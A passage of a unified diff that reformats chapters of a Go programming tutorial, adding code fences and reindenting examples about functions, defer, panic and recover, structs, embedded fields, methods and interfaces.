return true
```Go
func ReadWrite() bool {
file.Open("file")
defer file.Close()
if failureX {
return false
}
if failureY {
return false
}
return true
}
```
If there are more than one `defer`s, they will execute by reverse order. The following example will print `4 3 2 1 0`.
```Go
for i := 0; i < 5; i++ {
defer fmt.Printf("%d ", i)
}
```
### Functions as values and types
Functions are also variables in Go, we can use `type` to define them. Functions that have the same signature can be seen as the same type.
```Go
type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 resultType1 [, ...])
```
What's the advantage of this feature? The answer is that it allows us to pass functions as values.
```Go
package main
package main
import "fmt"
import "fmt"
type testInt func(int) bool // define a function type of variable
type testInt func(int) bool // define a function type of variable
func isOdd(integer int) bool {
if integer%2 == 0 {
return false
}
return true
func isOdd(integer int) bool {
if integer%2 == 0 {
return false
}
return true
}
func isEven(integer int) bool {
if integer%2 == 0 {
return true
}
return false
func isEven(integer int) bool {
if integer%2 == 0 {
return true
}
return false
}
// pass the function `f` as an argument to another function
// pass the function `f` as an argument to another function
func filter(slice []int, f testInt) []int {
var result []int
for _, value := range slice {
if f(value) {
result = append(result, value)
}
}
return result
func filter(slice []int, f testInt) []int {
var result []int
for _, value := range slice {
if f(value) {
result = append(result, value)
}
}
return result
}
func main(){
slice := []int {1, 2, 3, 4, 5, 7}
fmt.Println("slice = ", slice)
odd := filter(slice, isOdd) // use function as values
fmt.Println("Odd elements of slice are: ", odd)
even := filter(slice, isEven)
fmt.Println("Even elements of slice are: ", even)
}
func main() {
slice := []int{1, 2, 3, 4, 5, 7}
fmt.Println("slice = ", slice)
odd := filter(slice, isOdd) // use function as values
fmt.Println("Odd elements of slice are: ", odd)
even := filter(slice, isEven)
fmt.Println("Even elements of slice are: ", even)
}
```
It's very useful when we use interfaces. As you can see `testInt` is a variable that has a function as type and the returned values and arguments of `filter` are the same as those of `testInt`. Therefore, we can have complex logic in our programs, while maintaining flexibility in our code.
### Panic and Recover
@@ -429,7 +437,7 @@ Go doesn't have `try-catch` structure like Java does. Instead of throwing except
`Recover` is a built-in function to recover `goroutine`s from panic status. Calling `recover` in `defer` functions is useful because normal functions will not be executed when the program is in the panic status. It catches `panic` values if the program is in the panic status, and it gets `nil` if the program is not in panic status.
The following example shows how to use `panic`.
```Go
var user = os.Getenv("USER")
func init() {
@@ -437,9 +445,9 @@ The following example shows how to use `panic`.
panic("no value for $USER")
}
}
```
The following example shows how to check `panic`.
```Go
func throwsPanic(f func()) (b bool) {
defer func() {
if x := recover(); x != nil {
@@ -449,7 +457,7 @@ The following example shows how to check `panic`.
f() // if f causes panic, it will recover
return
}
```
### `main` function and `init` function
Go has two retentions which are called `main` and `init`, where `init` can be used in all packages and `main` can only be used in the `main` package. These two functions are not able to have arguments or return values. Even though we can write many `init` functions in one package, I strongly recommend writing only one `init` function for each package.
@@ -465,15 +473,15 @@ Figure 2.6 Flow of programs initialization in Go
### import
We use `import` very often in Go programs as follows.
```Go
import(
"fmt"
)
```
Then we use functions in that package as follows.
```Go
fmt.Println("hello world")
```
`fmt` is from Go standard library, it is located within $GOROOT/pkg. Go supports third-party packages in two ways.
1. Relative path
@@ -485,28 +493,28 @@ There are some special operators when we import packages, and beginners are alwa
1. Dot operator.
Sometime we see people use following way to import packages.
```Go
import(
. "fmt"
)
```
The dot operator means you can omit the package name when you call functions inside of that package. Now `fmt.Printf("Hello world")` becomes to `Printf("Hello world")`.
2. Alias operation.
It changes the name of the package that we imported when we call functions that belong to that package.
```Go
import(
f "fmt"
)
```
Now `fmt.Printf("Hello world")` becomes to `f.Printf("Hello world")`.
3. `_` operator.
This is the operator that is difficult to understand without someone explaining it to you.
```Go
import (
"database/sql"
_ "github.com/ziutek/mymysql/godrv"
)
```
The `_` operator actually means we just want to import that package and execute its `init` function, and we are not sure if we want to use the functions belonging to that package.
## Links

View File

@@ -3,12 +3,12 @@
## struct
We can define new types of containers of other properties or fields in Go just like in other programming languages. For example, we can create a type called `person` to represent a person, with fields name and age. We call this kind of type a `struct`.
type person struct {
name string
age int
}
```Go
type person struct {
name string
age int
}
```
Look how easy it is to define a `struct`!
There are two fields.
@@ -17,75 +17,77 @@ There are two fields.
- `age` is a `int` used to store a person's age.
Let's see how to use it.
```Go
type person struct {
name string
age int
}
type person struct {
name string
age int
}
var P person // p is person type
P.name = "Astaxie" // assign "Astaxie" to the field 'name' of p
P.age = 25 // assign 25 to field 'age' of p
fmt.Printf("The person's name is %s\n", P.name) // access field 'name' of p
var P person // p is person type
P.name = "Astaxie" // assign "Astaxie" to the field 'name' of p
P.age = 25 // assign 25 to field 'age' of p
fmt.Printf("The person's name is %s\n", P.name) // access field 'name' of p
```
There are three more ways to define a struct.
- Assign initial values by order
P := person{"Tom", 25}
```Go
P := person{"Tom", 25}
```
- Use the format `field:value` to initialize the struct without order
P := person{age:24, name:"Bob"}
```Go
P := person{age:24, name:"Bob"}
```
- Define an anonymous struct, then initialize it
P := struct{name string; age int}{"Amy",18}
```Go
P := struct{name string; age int}{"Amy",18}
```
Let's see a complete example.
```Go
package main
package main
import "fmt"
import "fmt"
// define a new type
type person struct {
name string
age int
// define a new type
type person struct {
name string
age int
}
// compare the age of two people, then return the older person and differences of age
// struct is passed by value
func Older(p1, p2 person) (person, int) {
if p1.age > p2.age {
return p1, p1.age - p2.age
}
return p2, p2.age - p1.age
}
// compare the age of two people, then return the older person and differences of age
// struct is passed by value
func Older(p1, p2 person) (person, int) {
if p1.age>p2.age {
return p1, p1.age-p2.age
}
return p2, p2.age-p1.age
}
func main() {
var tom person
func main() {
var tom person
// initialization
tom.name, tom.age = "Tom", 18
// initialization
tom.name, tom.age = "Tom", 18
// initialize two values by format "field:value"
bob := person{age: 25, name: "Bob"}
// initialize two values by format "field:value"
bob := person{age:25, name:"Bob"}
// initialize two values with order
paul := person{"Paul", 43}
// initialize two values with order
paul := person{"Paul", 43}
tb_Older, tb_diff := Older(tom, bob)
tp_Older, tp_diff := Older(tom, paul)
bp_Older, bp_diff := Older(bob, paul)
tb_Older, tb_diff := Older(tom, bob)
tp_Older, tp_diff := Older(tom, paul)
bp_Older, bp_diff := Older(bob, paul)
fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, bob.name, tb_Older.name, tb_diff)
fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, bob.name, tb_Older.name, tb_diff)
fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, paul.name, tp_Older.name, tp_diff)
fmt.Printf("Of %s and %s, %s is older by %d years\n", tom.name, paul.name, tp_Older.name, tp_diff)
fmt.Printf("Of %s and %s, %s is older by %d years\n", bob.name, paul.name, bp_Older.name, bp_diff)
}
fmt.Printf("Of %s and %s, %s is older by %d years\n", bob.name, paul.name, bp_Older.name, bp_diff)
}
```
### embedded fields in struct
I've just introduced to you how to define a struct with field names and type. In fact, Go supports fields without names, but with types. We call these embedded fields.
@@ -93,120 +95,126 @@ I've just introduced to you how to define a struct with field names and type. In
When the embedded field is a struct, all the fields in that struct will implicitly be the fields in the struct in which it has been embdedded.
Let's see one example.
```Go
package main
package main
import "fmt"
import "fmt"
type Human struct {
name string
age int
weight int
}
type Human struct {
name string
age int
weight int
}
type Student struct {
Human // embedded field, it means Student struct includes all fields that Human has.
specialty string
}
type Student struct {
Human // embedded field, it means Student struct includes all fields that Human has.
specialty string
}
func main() {
// initialize a student
mark := Student{Human{"Mark", 25, 120}, "Computer Science"}
func main() {
// initialize a student
mark := Student{Human{"Mark", 25, 120}, "Computer Science"}
// access fields
fmt.Println("His name is ", mark.name)
fmt.Println("His age is ", mark.age)
fmt.Println("His weight is ", mark.weight)
fmt.Println("His specialty is ", mark.specialty)
// modify notes
mark.specialty = "AI"
fmt.Println("Mark changed his specialty")
fmt.Println("His specialty is ", mark.specialty)
// modify age
fmt.Println("Mark become old")
mark.age = 46
fmt.Println("His age is", mark.age)
// modify weight
fmt.Println("Mark is not an athlet anymore")
mark.weight += 60
fmt.Println("His weight is", mark.weight)
}
// access fields
fmt.Println("His name is ", mark.name)
fmt.Println("His age is ", mark.age)
fmt.Println("His weight is ", mark.weight)
fmt.Println("His specialty is ", mark.specialty)
// modify notes
mark.specialty = "AI"
fmt.Println("Mark changed his specialty")
fmt.Println("His specialty is ", mark.specialty)
// modify age
fmt.Println("Mark become old")
mark.age = 46
fmt.Println("His age is", mark.age)
// modify weight
fmt.Println("Mark is not an athlet anymore")
mark.weight += 60
fmt.Println("His weight is", mark.weight)
}
```
![](images/2.4.student_struct.png?raw=true)
Figure 2.7 Embedding in Student and Human
We see that we can access the `age` and `name` fields in Student just like we can in Human. This is how embedded fields work. It's very cool, isn't it? Hold on, there's something cooler! You can even use Student to access Human in this embedded field!
```Go
mark.Human = Human{"Marcus", 55, 220}
mark.Human.age -= 1
```
All the types in Go can be used as embedded fields.
```Go
package main
package main
import "fmt"
import "fmt"
type Skills []string
type Skills []string
type Human struct {
name string
age int
weight int
}
type Human struct {
name string
age int
weight int
}
type Student struct {
Human // struct as embedded field
Skills // string slice as embedded field
int // built-in type as embedded field
specialty string
}
type Student struct {
Human // struct as embedded field
Skills // string slice as embedded field
int // built-in type as embedded field
specialty string
}
func main() {
// initialize Student Jane
jane := Student{Human:Human{"Jane", 35, 100}, specialty:"Biology"}
// access fields
fmt.Println("Her name is ", jane.name)
fmt.Println("Her age is ", jane.age)
fmt.Println("Her weight is ", jane.weight)
fmt.Println("Her specialty is ", jane.specialty)
// modify value of skill field
jane.Skills = []string{"anatomy"}
fmt.Println("Her skills are ", jane.Skills)
fmt.Println("She acquired two new ones ")
jane.Skills = append(jane.Skills, "physics", "golang")
fmt.Println("Her skills now are ", jane.Skills)
// modify embedded field
jane.int = 3
fmt.Println("Her preferred number is ", jane.int)
}
func main() {
// initialize Student Jane
jane := Student{Human: Human{"Jane", 35, 100}, specialty: "Biology"}
// access fields
fmt.Println("Her name is ", jane.name)
fmt.Println("Her age is ", jane.age)
fmt.Println("Her weight is ", jane.weight)
fmt.Println("Her specialty is ", jane.specialty)
// modify value of skill field
jane.Skills = []string{"anatomy"}
fmt.Println("Her skills are ", jane.Skills)
fmt.Println("She acquired two new ones ")
jane.Skills = append(jane.Skills, "physics", "golang")
fmt.Println("Her skills now are ", jane.Skills)
// modify embedded field
jane.int = 3
fmt.Println("Her preferred number is ", jane.int)
}
```
In the above example, we can see that all types can be embedded fields and we can use functions to operate on them.
There is one more problem however. If Human has a field called `phone` and Student has a field with same name, what should we do?
Go use a very simple way to solve it. The outer fields get upper access levels, which means when you access `student.phone`, we will get the field called phone in student, not the one in the Human struct. This feature can be simply seen as field `overload`ing.
```Go
package main
package main
import "fmt"
import "fmt"
type Human struct {
name string
age int
phone string // Human has phone field
}
type Human struct {
name string
age int
phone string // Human has phone field
}
type Employee struct {
Human // embedded field Human
specialty string
phone string // phone in employee
}
type Employee struct {
Human // embedded field Human
specialty string
phone string // phone in employee
}
func main() {
Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"}
fmt.Println("Bob's work phone is:", Bob.phone)
// access phone field in Human
fmt.Println("Bob's personal phone is:", Bob.Human.phone)
}
func main() {
Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"}
fmt.Println("Bob's work phone is:", Bob.phone)
// access phone field in Human
fmt.Println("Bob's personal phone is:", Bob.Human.phone)
}
```
## Links
- [Directory](preface.md)

View File

@@ -5,25 +5,27 @@ We talked about functions and structs in the last two sections, but did you ever
## method
Suppose you define a "rectangle" struct and you want to calculate its area. We'd typically use the following code to achieve this goal.
```Go
package main
package main
import "fmt"
import "fmt"
type Rectangle struct {
width, height float64
}
type Rectangle struct {
width, height float64
}
func area(r Rectangle) float64 {
return r.width*r.height
}
func area(r Rectangle) float64 {
return r.width * r.height
}
func main() {
r1 := Rectangle{12, 2}
r2 := Rectangle{9, 4}
fmt.Println("Area of r1 is: ", area(r1))
fmt.Println("Area of r2 is: ", area(r2))
}
func main() {
r1 := Rectangle{12, 2}
r2 := Rectangle{9, 4}
fmt.Println("Area of r1 is: ", area(r1))
fmt.Println("Area of r2 is: ", area(r2))
}
```
The above example can calculate a rectangle's area. We use the function called `area`, but it's not a method of the rectangle struct (like class methods in classic object-oriented languages). The function and struct are two independent things as you may notice.
It's not a problem so far. However, if you also have to calculate the area of a circle, square, pentagon, or any other kind of shape, you are going to need to add additional functions with very similar names.
@@ -43,45 +45,47 @@ As Rob Pike said.
"A method is a function with an implicit first argument, called a receiver."
Syntax of method.
func (r ReceiverType) funcName(parameters) (results)
```Go
func (r ReceiverType) funcName(parameters) (results)
```
Let's change our example using `method` instead.
```Go
package main
package main
import (
"fmt"
"math"
)
import (
"fmt"
"math"
)
type Rectangle struct {
width, height float64
}
type Rectangle struct {
width, height float64
}
type Circle struct {
radius float64
}
type Circle struct {
radius float64
}
func (r Rectangle) area() float64 {
return r.width*r.height
}
func (r Rectangle) area() float64 {
return r.width * r.height
}
func (c Circle) area() float64 {
return c.radius * c.radius * math.Pi
}
func (c Circle) area() float64 {
return c.radius * c.radius * math.Pi
}
func main() {
r1 := Rectangle{12, 2}
r2 := Rectangle{9, 4}
c1 := Circle{10}
c2 := Circle{25}
func main() {
r1 := Rectangle{12, 2}
r2 := Rectangle{9, 4}
c1 := Circle{10}
c2 := Circle{25}
fmt.Println("Area of r1 is: ", r1.area())
fmt.Println("Area of r2 is: ", r2.area())
fmt.Println("Area of c1 is: ", c1.area())
fmt.Println("Area of c2 is: ", c2.area())
}
fmt.Println("Area of r1 is: ", r1.area())
fmt.Println("Area of r2 is: ", r2.area())
fmt.Println("Area of c1 is: ", c1.area())
fmt.Println("Area of c2 is: ", c2.area())
}
```
Notes for using methods.
- If the name of methods are the same but they don't share the same receivers, they are not the same.
@@ -99,103 +103,105 @@ One thing that's worth noting is that the method with a dotted line means the re
Can the receiver only be a struct? Of course not. Any type can be the receiver of a method. You may be confused about customized types. Struct is a special kind of customized type -there are more customized types.
Use the following format to define a customized type.
type typeName typeLiteral
```Go
type typeName typeLiteral
```
Examples of customized types:
```Go
type ages int
type ages int
type money float32
type money float32
type months map[string]int
type months map[string]int
m := months {
"January":31,
"February":28,
...
"December":31,
}
m := months {
"January":31,
"February":28,
...
"December":31,
}
```
I hope that you know how to use customized types now. Similar to `typedef` in C, we use `ages` to substitute `int` in the above example.
Let's get back to talking about `method`.
You can use as many methods in custom types as you want.
```Go
package main
package main
import "fmt"
import "fmt"
const(
WHITE = iota
BLACK
BLUE
RED
YELLOW
)
const (
WHITE = iota
BLACK
BLUE
RED
YELLOW
)
type Color byte
type Color byte
type Box struct {
width, height, depth float64
color Color
type Box struct {
width, height, depth float64
color Color
}
type BoxList []Box //a slice of boxes
func (b Box) Volume() float64 {
return b.width * b.height * b.depth
}
func (b *Box) SetColor(c Color) {
b.color = c
}
func (bl BoxList) BiggestsColor() Color {
v := 0.00
k := Color(WHITE)
for _, b := range bl {
if b.Volume() > v {
v = b.Volume()
k = b.color
}
}
return k
}
func (bl BoxList) PaintItBlack() {
for i, _ := range bl {
bl[i].SetColor(BLACK)
}
}
func (c Color) String() string {
strings := []string{"WHITE", "BLACK", "BLUE", "RED", "YELLOW"}
return strings[c]
}
func main() {
boxes := BoxList{
Box{4, 4, 4, RED},
Box{10, 10, 1, YELLOW},
Box{1, 1, 20, BLACK},
Box{10, 10, 1, BLUE},
Box{10, 30, 1, WHITE},
Box{20, 20, 20, YELLOW},
}
type BoxList []Box //a slice of boxes
fmt.Printf("We have %d boxes in our set\n", len(boxes))
fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³")
fmt.Println("The color of the last one is", boxes[len(boxes)-1].color.String())
fmt.Println("The biggest one is", boxes.BiggestsColor().String())
func (b Box) Volume() float64 {
return b.width * b.height * b.depth
}
fmt.Println("Let's paint them all black")
boxes.PaintItBlack()
fmt.Println("The color of the second one is", boxes[1].color.String())
func (b *Box) SetColor(c Color) {
b.color = c
}
fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String())
}
func (bl BoxList) BiggestsColor() Color {
v := 0.00
k := Color(WHITE)
for _, b := range bl {
if b.Volume() > v {
v = b.Volume()
k = b.color
}
}
return k
}
func (bl BoxList) PaintItBlack() {
for i, _ := range bl {
bl[i].SetColor(BLACK)
}
}
func (c Color) String() string {
strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"}
return strings[c]
}
func main() {
boxes := BoxList {
Box{4, 4, 4, RED},
Box{10, 10, 1, YELLOW},
Box{1, 1, 20, BLACK},
Box{10, 10, 1, BLUE},
Box{10, 30, 1, WHITE},
Box{20, 20, 20, YELLOW},
}
fmt.Printf("We have %d boxes in our set\n", len(boxes))
fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³")
fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String())
fmt.Println("The biggest one is", boxes.BiggestsColor().String())
fmt.Println("Let's paint them all black")
boxes.PaintItBlack()
fmt.Println("The color of the second one is", boxes[1].color.String())
fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String())
}
```
We define some constants and customized types.
- Use `Color` as alias of `byte`.
@@ -225,79 +231,83 @@ You may also be asking whether we should use `(&bl[i]).SetColor(BLACK)` in `Pain
### Inheritance of method
We learned about inheritance of fields in the last section. Similarly, we also have method inheritance in Go. If an anonymous field has methods, then the struct that contains the field will have all the methods from it as well.
```Go
package main
package main
import "fmt"
import "fmt"
type Human struct {
name string
age int
phone string
}
type Human struct {
name string
age int
phone string
}
type Student struct {
Human // anonymous field
school string
}
type Student struct {
Human // anonymous field
school string
}
type Employee struct {
Human
company string
}
type Employee struct {
Human
company string
}
// define a method in Human
func (h *Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
// define a method in Human
func (h *Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
func main() {
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
func main() {
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
mark.SayHi()
sam.SayHi()
}
mark.SayHi()
sam.SayHi()
}
```
### Method overload
If we want Employee to have its own method `SayHi`, we can define a method that has the same name in Employee, and it will hide `SayHi` in Human when we call it.
```Go
package main
package main
import "fmt"
import "fmt"
type Human struct {
name string
age int
phone string
}
type Human struct {
name string
age int
phone string
}
type Student struct {
Human
school string
}
type Student struct {
Human
school string
}
type Employee struct {
Human
company string
}
type Employee struct {
Human
company string
}
func (h *Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
func (h *Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
func (e *Employee) SayHi() {
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone) //Yes you can split into 2 lines here.
}
func (e *Employee) SayHi() {
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone) //Yes you can split into 2 lines here.
}
func main() {
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
func main() {
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
mark.SayHi()
sam.SayHi()
}
mark.SayHi()
sam.SayHi()
}
```
You are able to write an Object-oriented program now, and methods use rule of capital letter to decide whether public or private as well.
## Links

View File

@@ -14,75 +14,77 @@ Let's do some more work. We'll add one more method `Sing()` to them, along with
Now, Student has three methods called `SayHi()`, `Sing()` and `BorrowMoney()`, and Employee has `SayHi()`, `Sing()` and `SpendSalary()`.
This combination of methods is called an interface and is implemented by both Student and Employee. So, Student and Employee implement the interface: `SayHi()` and `Sing()`. At the same time, Employee doesn't implement the interface: `SayHi()`, `Sing()`, `BorrowMoney()`, and Student doesn't implement the interface: `SayHi()`, `Sing()`, `SpendSalary()`. This is because Employee doesn't have the method `BorrowMoney()` and Student doesn't have the method `SpendSalary()`.
This combination of methods is called an interface and is implemented by both Student and Employee. So, Student and Employee implement the interface: `SayHi()` and `Sing()`. At the same time, Employee doesn't implement the interface: `BorrowMoney()`, and Student doesn't implement the interface: `SpendSalary()`. This is because Employee doesn't have the method `BorrowMoney()` and Student doesn't have the method `SpendSalary()`.
### Type of Interface
An interface defines a set of methods, so if a type implements all the methods we say that it implements the interface.
```Go
type Human struct {
name string
age int
phone string
}
type Human struct {
name string
age int
phone string
}
type Student struct {
Human
school string
loan float32
}
type Student struct {
Human
school string
loan float32
}
type Employee struct {
Human
company string
money float32
}
type Employee struct {
Human
company string
money float32
}
func (h *Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
func (h *Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
func (h *Human) Sing(lyrics string) {
fmt.Println("La la, la la la, la la la la la...", lyrics)
}
func (h *Human) Sing(lyrics string) {
fmt.Println("La la, la la la, la la la la la...", lyrics)
}
func (h *Human) Guzzle(beerStein string) {
fmt.Println("Guzzle Guzzle Guzzle...", beerStein)
}
func (h *Human) Guzzle(beerStein string) {
fmt.Println("Guzzle Guzzle Guzzle...", beerStein)
}
// Employee overloads Sayhi
func (e *Employee) SayHi() {
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone) //Yes you can split into 2 lines here.
}
// Employee overloads Sayhi
func (e *Employee) SayHi() {
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone) //Yes you can split into 2 lines here.
}
func (s *Student) BorrowMoney(amount float32) {
s.loan += amount // (again and again and...)
}
func (s *Student) BorrowMoney(amount float32) {
s.loan += amount // (again and again and...)
}
func (e *Employee) SpendSalary(amount float32) {
e.money -= amount // More vodka please!!! Get me through the day!
}
func (e *Employee) SpendSalary(amount float32) {
e.money -= amount // More vodka please!!! Get me through the day!
}
// define interface
type Men interface {
SayHi()
Sing(lyrics string)
Guzzle(beerStein string)
}
// define interface
type Men interface {
SayHi()
Sing(lyrics string)
Guzzle(beerStein string)
}
type YoungChap interface {
SayHi()
Sing(song string)
BorrowMoney(amount float32)
}
type YoungChap interface {
SayHi()
Sing(song string)
BorrowMoney(amount float32)
}
type ElderlyGent interface {
SayHi()
Sing(song string)
SpendSalary(amount float32)
}
type ElderlyGent interface {
SayHi()
Sing(song string)
SpendSalary(amount float32)
}
```
We know that an interface can be implemented by any type, and one type can implement many interfaces simultaneously.
Note that any type implements the empty interface `interface{}` because it doesn't have any methods and all types have zero methods by default.
@@ -92,87 +94,87 @@ Note that any type implements the empty interface `interface{}` because it doesn
So what kind of values can be put in the interface? If we define a variable as a type interface, any type that implements the interface can assigned to this variable.
Like the above example, if we define a variable "m" as interface Men, then any one of Student, Human or Employee can be assigned to "m". So we could have a slice of Men, and any type that implements interface Men can assign to this slice. Be aware however that the slice of interface doesn't have the same behavior as a slice of other types.
```Go
package main
package main
import "fmt"
type Human struct {
name string
age int
phone string
}
type Student struct {
Human
school string
loan float32
}
type Employee struct {
Human
company string
money float32
}
func (h Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
func (h Human) Sing(lyrics string) {
fmt.Println("La la la la...", lyrics)
}
func (e Employee) SayHi() {
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone) //Yes you can split into 2 lines here.
}
// Interface Men implemented by Human, Student and Employee
type Men interface {
SayHi()
Sing(lyrics string)
}
func main() {
mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00}
paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100}
sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000}
tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000}
// define interface i
var i Men
//i can store Student
i = mike
fmt.Println("This is Mike, a Student:")
i.SayHi()
i.Sing("November rain")
//i can store Employee
i = tom
fmt.Println("This is Tom, an Employee:")
i.SayHi()
i.Sing("Born to be wild")
// slice of Men
fmt.Println("Let's use a slice of Men and see what happens")
x := make([]Men, 3)
// these three elements are different types but they all implemented interface Men
x[0], x[1], x[2] = paul, sam, mike
for _, value := range x {
value.SayHi()
}
}
import "fmt"
type Human struct {
name string
age int
phone string
}
type Student struct {
Human
school string
loan float32
}
type Employee struct {
Human
company string
money float32
}
func (h Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
func (h Human) Sing(lyrics string) {
fmt.Println("La la la la...", lyrics)
}
func (e Employee) SayHi() {
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone) //Yes you can split into 2 lines here.
}
// Interface Men implemented by Human, Student and Employee
type Men interface {
SayHi()
Sing(lyrics string)
}
func main() {
mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00}
paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100}
sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000}
tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000}
// define interface i
var i Men
//i can store Student
i = mike
fmt.Println("This is Mike, a Student:")
i.SayHi()
i.Sing("November rain")
//i can store Employee
i = tom
fmt.Println("This is Tom, an Employee:")
i.SayHi()
i.Sing("Born to be wild")
// slice of Men
fmt.Println("Let's use a slice of Men and see what happens")
x := make([]Men, 3)
// these three elements are different types but they all implemented interface Men
x[0], x[1], x[2] = paul, sam, mike
for _, value := range x {
value.SayHi()
}
}
```
An interface is a set of abstract methods, and can be implemented by non-interface types. It cannot therefore implement itself.
### Empty interface
An empty interface is an interface that doesn't contain any methods, so all types implement an empty interface. This fact is very useful when we want to store all types at some point, and is similar to void* in C.
```Go
// define a as empty interface
var a interface{}
var i int = 5
@@ -180,7 +182,7 @@ An empty interface is an interface that doesn't contain any methods, so all type
// a can store value of any type
a = i
a = s
```
If a function uses an empty interface as its argument type, it can accept any type; if a function uses empty interface as its return value type, it can return any type.
### Method arguments of an interface
@@ -188,42 +190,42 @@ If a function uses an empty interface as its argument type, it can accept any ty
Any variable can be used in an interface. So how can we use this feature to pass any type of variable to a function?
For example we use fmt.Println a lot, but have you ever noticed that it can accept any type of argument? Looking at the open source code of fmt, we see the following definition.
type Stringer interface {
String() string
}
```Go
type Stringer interface {
String() string
}
```
This means any type that implements interface Stringer can be passed to fmt.Println as an argument. Let's prove it.
```Go
package main
package main
import (
"fmt"
"strconv"
)
import (
"fmt"
"strconv"
)
type Human struct {
name string
age int
phone string
}
type Human struct {
name string
age int
phone string
}
// Human implemented fmt.Stringer
func (h Human) String() string {
return "Name:" + h.name + ", Age:" + strconv.Itoa(h.age) + " years, Contact:" + h.phone
}
// Human implemented fmt.Stringer
func (h Human) String() string {
return "Name:" + h.name + ", Age:" + strconv.Itoa(h.age) + " years, Contact:" + h.phone
}
func main() {
Bob := Human{"Bob", 39, "000-7777-XXX"}
fmt.Println("This Human is : ", Bob)
}
func main() {
Bob := Human{"Bob", 39, "000-7777-XXX"}
fmt.Println("This Human is : ", Bob)
}
```
Looking back to the example of Box, you will find that Color implements interface Stringer as well, so we are able to customize the print format. If we don't implement this interface, fmt.Println prints the type with its default format.
```Go
fmt.Println("The biggest one is", boxes.BiggestsColor().String())
fmt.Println("The biggest one is", boxes.BiggestsColor())
```
Attention: If the type implemented the interface `error`, fmt will call `error()`, so you don't have to implement Stringer at this point.
### Type of variable in an interface
@@ -237,90 +239,92 @@ Go has the syntax `value, ok := element.(T)`. This checks to see if the variable
If the element is the type that we expect, ok will be true, false otherwise.
Let's use an example to see more clearly.
```Go
package main
package main
import (
"fmt"
"strconv"
)
type Element interface{}
type List []Element
type Person struct {
name string
age int
}
func (p Person) String() string {
return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)"
}
func main() {
list := make(List, 3)
list[0] = 1 // an int
list[1] = "Hello" // a string
list[2] = Person{"Dennis", 70}
for index, element := range list {
if value, ok := element.(int); ok {
fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
} else if value, ok := element.(string); ok {
fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
} else if value, ok := element.(Person); ok {
fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
} else {
fmt.Printf("list[%d] is of a different type\n", index)
}
import (
"fmt"
"strconv"
)
type Element interface{}
type List []Element
type Person struct {
name string
age int
}
func (p Person) String() string {
return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)"
}
func main() {
list := make(List, 3)
list[0] = 1 // an int
list[1] = "Hello" // a string
list[2] = Person{"Dennis", 70}
for index, element := range list {
if value, ok := element.(int); ok {
fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
} else if value, ok := element.(string); ok {
fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
} else if value, ok := element.(Person); ok {
fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
} else {
fmt.Printf("list[%d] is of a different type\n", index)
}
}
}
```
It's quite easy to use this pattern, but if we have many types to test, we'd better use `switch`.
- switch test
Let's use `switch` to rewrite the above example.
package main
import (
"fmt"
"strconv"
)
type Element interface{}
type List []Element
type Person struct {
name string
age int
}
func (p Person) String() string {
return "(name: " + p.name + " - age: " + strconv.Itoa(p.age) + " years)"
}
func main() {
list := make(List, 3)
list[0] = 1 //an int
list[1] = "Hello" //a string
list[2] = Person{"Dennis", 70}
for index, element := range list {
switch value := element.(type) {
case int:
